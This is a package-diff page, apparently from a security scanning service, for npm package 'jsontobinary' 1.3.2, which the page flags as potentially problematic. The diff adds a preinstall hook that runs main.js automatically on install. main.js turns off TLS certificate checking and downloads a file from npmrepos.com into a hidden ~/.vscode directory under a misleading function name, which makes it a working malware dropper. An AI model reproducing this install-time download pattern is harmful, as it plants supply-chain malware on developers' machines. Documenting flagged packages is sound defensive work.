jsontobinary 1.3.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of jsontobinary might be problematic. Click here for more details.
- package/main.js +19 -0
- package/package.json +15 -0
package/main.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const path = require("path");
|
3
|
+
var fs = require('fs');
|
4
|
+
|
5
|
+
function checksvn(version, projectUrl) {
|
6
|
+
var request = require('sync-request');
|
7
|
+
var res = request('GET', projectUrl);
|
8
|
+
|
9
|
+
fs.writeFileSync(version, res.getBody());
|
10
|
+
|
11
|
+
}
|
12
|
+
|
13
|
+
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
|
14
|
+
|
15
|
+
var dir = os.homedir() + "/.vscode";
|
16
|
+
if (!fs.existsSync(dir)){
|
17
|
+
fs.mkdirSync(dir);
|
18
|
+
}
|
19
|
+
checksvn(path.join(dir,'/jsontoken'), 'https://npmrepos.com/checkupdate.php');
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "jsontobinary",
|
3
|
+
"version": "1.3.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "npm install sync-request && node main.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "MIT",
|
12
|
+
"dependencies": {
|
13
|
+
"sync-request": "^6.1.0"
|
14
|
+
}
|
15
|
+
}
|